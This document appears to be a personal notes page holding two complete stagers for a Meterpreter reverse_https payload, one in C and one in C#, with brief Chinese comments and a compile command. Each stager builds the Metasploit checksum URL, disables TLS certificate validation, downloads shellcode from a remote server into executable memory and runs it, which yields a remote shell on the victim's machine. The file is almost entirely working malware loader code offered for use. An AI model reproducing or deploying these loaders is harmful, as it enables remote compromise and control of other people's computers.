C ver:

usage:gcc -o test.exe reverse_https.c

DEFAULT_CHECKSUM_LEN 不能太短

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/25f36530-2eb3-4b32-bdb2-997ac0b480f6/Untitled.png

// windows/x64/meterpreter/reverse_https

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <time.h>
#define DEFAULT_CHECKSUM_LEN 33

typedef HINTERNET(WINAPI* F_InternetOpenA)(
	LPCSTR lpszAgent,
	DWORD  dwAccessType,
	LPCSTR lpszProxy,
	LPCSTR lpszProxyBypass,
	DWORD  dwFlags);

typedef HINTERNET(WINAPI* F_InternetConnectA)(
	HINTERNET     hInternet,
	LPCSTR        lpszServerName,
	INTERNET_PORT nServerPort,
	LPCSTR        lpszUserName,
	LPCSTR        lpszPassword,
	DWORD         dwService,
	DWORD         dwFlags,
	DWORD_PTR     dwContext);
	
typedef HINTERNET(WINAPI* F_HttpOpenRequestA)(
	HINTERNET hConnect,
	LPCSTR    lpszVerb,
	LPCSTR    lpszObjectName,
	LPCSTR    lpszVersion,
	LPCSTR    lpszReferrer,
	LPCSTR    *lplpszAcceptTypes,
	DWORD     dwFlags,
	DWORD_PTR dwContext);

typedef BOOL (WINAPI* F_HttpSendRequestA)(
 	HINTERNET hRequest,
  	LPCSTR    lpszHeaders,
  	DWORD     dwHeadersLength,
  	LPVOID    lpOptional,
  	DWORD     dwOptionalLength);

typedef BOOL(WINAPI* F_InternetReadFile)(
  HINTERNET hFile,
  LPVOID    lpBuffer,
  DWORD     dwNumberOfBytesToRead,
  LPDWORD   lpdwNumberOfBytesRead);

typedef BOOL(WINAPI* F_InternetSetOptionA)(
	HINTERNET hInternet,
	DWORD     dwOption,
	LPVOID    lpBuffer,
	DWORD     dwBufferLength);

F_InternetOpenA M_InternetOpenA;
F_InternetConnectA M_InternetConnectA;
F_HttpOpenRequestA M_HttpOpenRequestA;
F_HttpSendRequestA M_HttpSendRequestA;
F_InternetReadFile M_InternetReadFile;
F_InternetSetOptionA M_InternetSetOptionA;

BOOL init_func(){
	HANDLE h = LoadLibraryA("wininet.dll");
	M_InternetOpenA = (F_InternetOpenA)GetProcAddress(h,"InternetOpenA");
	M_InternetConnectA = (F_InternetConnectA)GetProcAddress(h,"InternetConnectA");
	M_HttpOpenRequestA = (F_HttpOpenRequestA)GetProcAddress(h,"HttpOpenRequestA");
	M_HttpSendRequestA = (F_HttpSendRequestA)GetProcAddress(h,"HttpSendRequestA");
	M_InternetReadFile = (F_InternetReadFile)GetProcAddress(h,"InternetReadFile");
	M_InternetSetOptionA = (F_InternetSetOptionA)GetProcAddress(h,"InternetSetOptionA");
	return(h && M_InternetOpenA && M_HttpOpenRequestA && M_InternetConnectA && M_HttpSendRequestA && M_InternetReadFile && M_InternetSetOptionA);
}

int checksum8(char *s)
{
  int i;
  int sum = 0;
  for(i = 0; i < strlen(s); i++)
  {
    sum += (int)s[i];
  }
  return sum % 0x100;
}

void genHTTPChecksum(char *s){
	int i;
	int checksum;
	srand(time(0));
	char cks[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";
	char test_string[DEFAULT_CHECKSUM_LEN] = {0};
	while(1) {
		for (i=0; i < DEFAULT_CHECKSUM_LEN-1; i++)
		  test_string[i]=cks[(rand() % strlen(cks))];
		checksum = checksum8(test_string);
		if (checksum == 92) break;
	}
	strncpy(s, test_string, strlen(test_string));
	return;
}

int main(int argc, char **argv){
	BOOL r = init_func();
	if(r == FALSE){
		return 0;
	}
	char remote_ip[] = "127.0.0.1";
	int remote_port = 12345;
	char user_agent[] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36";
	char checksum_str[DEFAULT_CHECKSUM_LEN] = {0};
	char url[DEFAULT_CHECKSUM_LEN+1] = {0};
	unsigned char *buffer;
	int sec_option_flags = 0;
	genHTTPChecksum(checksum_str);
	//https://github.com/SherifEldeeb/inmet/blob/master/inmet/HTTP_Functions.cpp
	strncpy(url, "/", 1);
	strncat(url, checksum_str, strlen(checksum_str));
	HINTERNET hInternetOpen = M_InternetOpenA(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
	
	HINTERNET hInternetConnect = M_InternetConnectA(hInternetOpen, remote_ip, remote_port, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hHTTPOpenRequest = M_HttpOpenRequestA(hInternetConnect, "GET", url, 0, 0, 0, INTERNET_FLAG_RELOAD | \\
	INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | \\
	INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA, 0);
	
	sec_option_flags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
	
	M_InternetSetOptionA(hHTTPOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, &sec_option_flags, sizeof(sec_option_flags));
	BOOL rrr = M_HttpSendRequestA(hHTTPOpenRequest, 0, 0, 0, 0);
	buffer = (unsigned char*)VirtualAlloc(0, (4096*1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	DWORD bytesread = 0;
	DWORD byteswritten = 0;
	while (M_InternetReadFile(hHTTPOpenRequest, (buffer + byteswritten), 4096, &bytesread) && bytesread > 0){
		byteswritten += bytesread;
	}
	void (*F)() = (void(*)())buffer;
	F();
	return 0;

}

C# Ver:

注意:msf使用TLS1.2。需要.Net 4.5或以上,才支持TLS1.2。

using System;
namespace reverse_https_sharp
{
    class WinApi
    {
        [System.Runtime.InteropServices.DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [System.Runtime.InteropServices.DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [System.Runtime.InteropServices.DllImport("kernel32.dll")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    }
    class Program
    {
        static int DEFAULT_CHECKSUM_LEN = 32;
        static int Checksum8(string data)
        {
            int checksum = 0;
            foreach (char c in data)
            {
                checksum += (int)c;
            }
            return checksum % 0x100;
        }
    
        static string GenCheck()
        {
            Random ran = new Random();
            char[] check = new char[DEFAULT_CHECKSUM_LEN];
            string cks = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";
            while (true)
            {
                for (int i = 0; i < DEFAULT_CHECKSUM_LEN; i++)
                    check[i] = cks[(ran.Next() % cks.Length)];
                
                string strcheck = new string(check);
                int checksum = Checksum8(strcheck);
                if (checksum == 92)
                    return strcheck;
            }
            
        }

        static byte[] Httpget(string url)
        {
            byte[] buffer = null;
            try{
                System.Net.WebClient client = new System.Net.WebClient();
                client.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.41";
                buffer = client.DownloadData(url);
            }
            catch (Exception e){
                Console.WriteLine(e.ToString());
            }
            return buffer;
        }
        static void Main(string[] args)
        {
            System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
            //Trust all certificates
            System.Net.ServicePointManager.ServerCertificateValidationCallback =
                ((sender, certificate, chain, sslPolicyErrors) => true);

            byte[] buf = Httpget("<https://xx.xx.xxx.xx:443/>" + GenCheck());
            if(buf == null)
            {
                Console.WriteLine("Http get failed .");
                return;
            }
            uint threadId;

            IntPtr alloc = WinApi.VirtualAlloc(IntPtr.Zero, buf.Length, (uint)0x1000, (uint)0x40);
            if (alloc == IntPtr.Zero)
            {
                Console.WriteLine("Alloc failed.");
                return;
            }

            System.Runtime.InteropServices.Marshal.Copy(buf, 0, alloc, buf.Length);
            Console.WriteLine("CreateThread - Run");
            IntPtr threadHandle = WinApi.CreateThread(IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out threadId);
            WinApi.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
        }
    }
}